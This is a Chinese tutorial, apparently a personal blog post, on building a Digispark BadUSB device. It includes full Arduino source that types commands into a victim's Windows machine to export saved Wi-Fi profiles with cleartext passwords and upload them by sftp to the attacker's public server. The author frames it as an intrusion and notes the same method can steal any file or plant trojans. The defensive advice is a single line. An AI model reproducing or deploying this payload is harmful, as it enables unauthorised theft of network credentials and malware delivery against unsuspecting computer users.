准备环境
digispark开发板,arduino,automator(硬件编程小白可能需要github上的一个辅助硬件编程的软件,下载地址https://github.com/Catboy96/Automator/releases大佬绕过),一台具有公网ip的服务器。
arduino的安装
百度搜索arduino就可以下载安装包安装了,安装后需要进入 工具->开发板->开发板管理器->搜索digistump avr boards->安装 安装好了以后在 工具->开发板->digispark(default ——16.5mhz)。
配置好ardino以后还要安装对应的驱动,安装完驱动就可以写程序编程了。(到了这一步就可以写一个小程序玩玩了,可以写一个打开某个程序的代码试试)
ftp服务器的安装
我的公网服务器是一台kali,kali需要先下载更新源,否则直接用apt-get install vsftp会显示找不到这个包,这里推荐下载中科大的源,下载好了以后更新就行了,将vsftp下载完以后就需要改配置,教程百度都有,我在ipv6_listen这被坑了很久,后来才发现,当listen打开时,必须将ipv6_listen关闭,否则远程连接ftp服务器时会显示连接被拒绝。
制作
digispark是通过模拟鼠标和键盘操作来控制计算机的,所以用digispark控制计算机,防火墙不会报毒。现在就可以烧程序进入digispark进行入侵了。
附上arduino源码——>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| #include "DigiKeyboard.h"
void setup() { DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.println("cmd"); DigiKeyboard.delay(500); DigiKeyboard.println("CD C:\\"); DigiKeyboard.delay(500); DigiKeyboard.println("md 1"); DigiKeyboard.delay(500); DigiKeyboard.println("cd 1"); DigiKeyboard.delay(500); DigiKeyboard.println("@netsh wlan export profile key=clear >nul"); DigiKeyboard.delay(500); DigiKeyboard.println("sftp -oPort=22 **ftp服务器**@**ip地址或域名**"); DigiKeyboard.delay(5000); DigiKeyboard.println("ftp服务器密码"); DigiKeyboard.delay(1000); DigiKeyboard.print("mput"); DigiKeyboard.delay(1000); DigiKeyboard.print(" c:\\"); DigiKeyboard.delay(500); DigiKeyboard.print("1\\*.xml"); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() { }
|
反思
这个入侵的前提是目标计算机必须安装sftp (目前很多windows电脑都默认安装sftp)。使用同样的方法可以做到上传本地计算机的任意文件到服务器,也可以从服务器下载任意文件或者木马和病毒。
防御
不要随意插入陌生的usb ^_^